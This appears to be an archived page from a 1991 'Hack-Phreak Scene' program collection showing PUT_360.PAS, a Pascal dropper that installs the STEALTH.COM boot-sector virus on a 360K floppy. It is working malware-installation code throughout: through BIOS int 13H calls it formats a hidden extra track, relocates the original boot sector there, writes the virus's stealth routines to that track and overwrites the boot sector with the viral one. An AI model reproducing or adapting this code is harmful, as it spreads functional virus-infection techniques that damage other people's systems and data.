home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / L.ZIP / LITBLA.LZH / PUT_360.PAS < prev    next >
Pascal/Delphi Source File  |  1991-04-01  |  3KB  |  66 lines

  1. program put_360;     {This program puts the stealth virus STEALTH.COM on a   }
  2.                      {360K floppy diskette.                                  }
  3. uses dos;
  4.  
  5. type
  6.   rec_spec         =record       {Record for formatting sectors w/ int 13H}
  7.     cyl            :byte;                    {Cylinder (Track) number}
  8.     head           :byte;                    {Head number}
  9.     rec            :byte;                    {Record (sector) number}
  10.     number         :byte;                    {Size (2=512 bytes/sec)}
  11.     end;
  12.  
  13. const                            {Data to format 6 secs @ Trk 40, Hd 1, Sec 1-6}
  14.   rec_defs         :array[1..6] of rec_spec=((cyl:40;head:1;rec:1;number:2),
  15.                                              (cyl:40;head:1;rec:2;number:2),
  16.                                              (cyl:40;head:1;rec:3;number:2),
  17.                                              (cyl:40;head:1;rec:4;number:2),
  18.                                              (cyl:40;head:1;rec:5;number:2),
  19.                                              (cyl:40;head:1;rec:6;number:2));
  20.  
  21. var
  22.   disk_buffer      :array[0..5119] of byte;  {Data area to read virus into}
  23.   boot             :array[0..511] of byte;   {Data area to read boot sec into}
  24.   virus            :file;                    {Virus code file variable}
  25.  
  26.  
  27. {This function executes a BIOS Disk Access (int 13H) call.}
  28. function biosdisk(cmd,drive,head,track,sector,nsects:integer;
  29.                   buffer:pointer):byte;
  30. var
  31.   regs             :registers;
  32. begin
  33.   regs.AH:=cmd;                              {ah = function number}
  34.   regs.DL:=drive;                            {dl = drive number}
  35.   regs.DH:=head;                             {dh = head number}
  36.   regs.CH:=track;                            {ch = track number}
  37.   regs.CL:=sector;                           {cl = sector number}
  38.   regs.AL:=nsects;                           {al = # of sectors to operate on}
  39.   regs.ES:=seg(buffer^);                     {es:bx = data buffer}
  40.   regs.BX:=ofs(buffer^);
  41.   intr($13,regs);                            {Execute the interrupt}
  42.   biosdisk:=regs.AH;                         {Return code in ah}
  43. end;
  44.  
  45.  
  46. begin
  47.   if biosdisk(5,0,1,40,1,6,@rec_defs)<>0 then    {Format 6 recs @ Trk 40, Hd 1}
  48.     writeln('Couldn''t format extra track on disk!');
  49.   if biosdisk(2,0,0,0,1,1 ,@boot)<>0 then        {Read original boot sector}
  50.     writeln('Couldn''t read original boot sector!');
  51.   if biosdisk(3,0,1,40,6,1,@boot)<>0 then        {Put it @ Trk 40, Hd 1, Sec 6}
  52.     writeln('Couldn''t write original boot sector!');
  53.   assign(virus,'STEALTH.COM');                   {Open the virus code file}
  54.   reset(virus,256);
  55.   seek(virus,$6F);                               {Position fp to start of code}
  56.   BlockRead(virus,disk_buffer,10);               {Read 5 sectors to ram}
  57.   if biosdisk(3,0,1,40,1,5,@disk_buffer)<>0 then {Write @ Trk 40, Hd 1, Sec 1}
  58.     writeln('Couldn''t write stealth routines to disk!');
  59.   seek(virus,$7B);                               {Position fp to viral boot sec}
  60.   BlockRead(virus,disk_buffer,2);                {Read it}
  61.   move(boot[3],disk_buffer[3],$32);              {Move orig boot data into it}
  62.   if biosdisk(3,0,0,0,1,1,@disk_buffer)<>0 then  {And make it the new boot sec}
  63.     writeln('Couldn''t write viral boot sector to disk!');
  64.   close(virus);
  65. end.
  66.